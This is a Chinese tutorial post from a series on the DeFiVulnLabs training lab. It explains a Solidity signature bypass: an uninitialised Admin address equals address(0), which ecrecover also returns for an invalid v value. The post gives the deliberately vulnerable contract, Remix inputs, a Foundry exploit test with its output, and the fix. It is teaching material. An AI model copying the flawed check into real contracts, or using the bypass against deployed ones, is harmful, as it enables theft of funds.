DeFiVulnLabs靶场全系列详解(三十三)ecRecover函数还原签名的地址为0导致可绕过签名转账

admin 2025年5月1日13:46:07评论1 views字数 4208阅读14分1秒阅读模式
01
前言
此内容仅作为展示Solidity常见错误的概念证明。它严格用于教育目的,不应被解释为鼓励或认可任何形式的非法活动或实际的黑客攻击企图。所提供的信息仅供参考和学习,基于此内容采取的任何行动均由个人全权负责。使用这些信息应遵守适用的法律、法规和道德标准。
DeFiVulnLabs一共有47个漏洞实验,包括各种经典的合约漏洞和一些少见的可能造成安全问题的不安全代码,本系列将逐一解析每个漏洞,包括官方的解释和自己的理解。
02
ecRecover函数还原签名的地址为0导致可绕过签名转账
漏洞解析:

    在以太坊中,签名的恢复涉及到椭圆曲线算法(ECDSA)由三个部分组成r  s  v。r,s用于用于确定签名的公钥,v是恢复标识符,用于确定签名者地址。

    在以太坊中,如果 v 的值不是 27 或 28,那么签名恢复的过程将无法正确进行,所以如果将v的值设置为29,签名恢复为无效,所恢复出来的地址为adress(0)。

    合约会接受一个签名来进行转账,需要确保这个签名的来源为管理员(admin),也以此来证明该笔转账是管理员所认可的而此时的admin address值因为未被初始化,所以恰好是address(0),因此transfer转账成功。

代码解析:
    代码设置了一个简单的Bank,使用recoverSignerAddress方法来还原签名者的地址。然后在Transfer里使用了recoverSignerAddress来校验这个签名者是不是来自admin,即还原出来的地址是不是等于admin的地址。
  正如上面所说的,此时的admin的地址是address(0),v=29的时候,恢复出来的地址也是address(0)
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract SimpleBank {    mapping(address => uint256) private balances;  //balances数组 ,address是键,uint256是值    address Admin//默认是00000000  address(0)functiongetBalance(address _account) publicviewreturns (uint256) {return balances[_account];    }//从签名里恢复签名者的地址functionrecoverSignerAddress(        bytes32 _hash,        uint8 _v,        bytes32 _r,        bytes32 _s) privatepurereturns (address) {        address recoveredAddress = ecrecover(_hash, _v, _r, _s);return recoveredAddress;    }//转账函数,转给_tofunctiontransfer(        address _to,        uint256 _amount,        bytes32 _hash,        uint8 _v,        bytes32 _r,        bytes32 _spublic{//如果_to是0,就异常require(_to != address(0), "Invalid recipient address");//还原签名者的地址        address signer = recoverSignerAddress(_hash, _v, _r, _s);//修复代码//require(signer != address(0), "Invalid signature");//签名者必须为管理员,不然无法进行转账require(signer == Admin"Invalid signature");//转账金额添加到目标地址的余额中        balances[_to] += _amount;    }}

合约部署后如下所示

DeFiVulnLabs靶场全系列详解(三十三)ecRecover函数还原签名的地址为0导致可绕过签名转账
可以看到需要传入6个参数
_to  要转账的目的地址
_amount  要转多少钱
_hash  这里的hash指的是 keccak256(abi.encodePacked(_to, _amount);)
_v  _r  _s 为签名的三个参数,
    正常情况下_v  是27或者28
    _r  _s 是签名结果,需要使用对应地址的私钥对哈希值进行签名
remix复现
例如现在我们向0xe2FBBb6aB5eB3079025617865004A9085Cf6F93C转账10000...个代币,指的注意的是可以看到其他的数据大多是0x000...
{"address _to": "0xe2FBBb6aB5eB3079025617865004A9085Cf6F93C",   "uint256 _amount""100000000",   "bytes32 _hash""0x0000000000000000000000000000000000000000000000000000000000000000","uint8 _v"27,   "bytes32 _r""0x0000000000000000000000000000000000000000000000000000000000000000""bytes32 _s""0x0000000000000000000000000000000000000000000000000000000000000000"}
如下所示,转账成功
DeFiVulnLabs靶场全系列详解(三十三)ecRecover函数还原签名的地址为0导致可绕过签名转账

03

forge复现
看看forge的测试利用代码
contract ContractTest is Test {    SimpleBank SimpleBankContract;    function setUp() public {        SimpleBankContract = new SimpleBank();    }    //记录转账前当合约地址余额    function testecRecover() public {        emit log_named_decimal_uint(            "Before exploiting, my balance",            SimpleBankContract.getBalance(address(this)),            18        );        bytes32 _hash = keccak256(            abi.encodePacked("x19Ethereum Signed Message:n32")        );        //vm.sign获得r  s 值        (, bytes32 r, bytes32 s) = vm.sign(1, _hash);        // 设置一个无效的v值        uint8 v = 29;        //传入_hash ,v ,r,s 由于v值无效,所以返回结果都是address(0)        //这里的ether不是eth,而是代表数字1e18        SimpleBankContract.transfer(address(this), 1 ether, _hash, v, r, s);        //记录转账后余额        emit log_named_decimal_uint(            "After exploiting, my balance",            SimpleBankContract.getBalance(address(this)),            18        );    }    receive() external payable {}}
以下是测试环境代码结果,可以看到
console::log("signer", 0x0000000000000000000000000000000000000000)
也就是说明还原出来此时的签名者是address(0)
DeFiVulnLabs靶场全系列详解(三十三)ecRecover函数还原签名的地址为0导致可绕过签名转账
transfer(ContractTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 1000000000000000000 [1e18],0x178a2411ab6fbc1ba11064408972259c558d0e82fd48b0aba3ad81d14f065e73, 29, 0xfeb90f6de8bc39d26d62c1f8b6751b2820b88e8e2f6b80aba34dd90efd46fcbd, 0x15a8c6a4d13fcf90ccdd0734be8f9cceeef9811a4b9593837d2143f8d16874b2 )

可以看到测试环境里给出的v并不是预期内的27或者28,

_to  

0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496

_amount   

1000000000000000000   1ETH

_hash

0x178a2411ab6fbc1ba11064408972259c558d0e82fd48b0aba3ad81d14f065e73

_v

29

_r

0xfeb90f6de8bc39d26d62c1f8b6751b2820b88e8e2f6b80aba34dd90efd46fcbd

_s

0x15a8c6a4d13fcf90ccdd0734be8f9cceeef9811a4b9593837d2143f8d16874b2

可以看到,_v是乱写的值也是可以的,因为我们的目的就是为了让它恢复出来的地址为address(0)。

DeFiVulnLabs靶场全系列详解(三十三)ecRecover函数还原签名的地址为0导致可绕过签名转账
DeFiVulnLabs靶场全系列详解(三十三)ecRecover函数还原签名的地址为0导致可绕过签名转账
04
如何修复该问题
这个漏洞的根本原因就是admin的地址未被正确的初始化,因此我们只需初始化admin的值即可
constructor(address _admin) {require(_admin != address(0), "Invalid admin address");        Admin = _admin;    }
或者是
constructor(){        Admin = msg.sender; }
05
感谢关注
个人语雀账号:https://www.yuque.com/iceqaq

原文始发于微信公众号(Ice ThirdSpace):DeFiVulnLabs靶场全系列详解(三十三)ecRecover函数还原签名的地址为0导致可绕过签名转账

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月1日13:46:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DeFiVulnLabs靶场全系列详解(三十三)ecRecover函数还原签名的地址为0导致可绕过签名转账https://cn-sec.com/archives/4023620.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息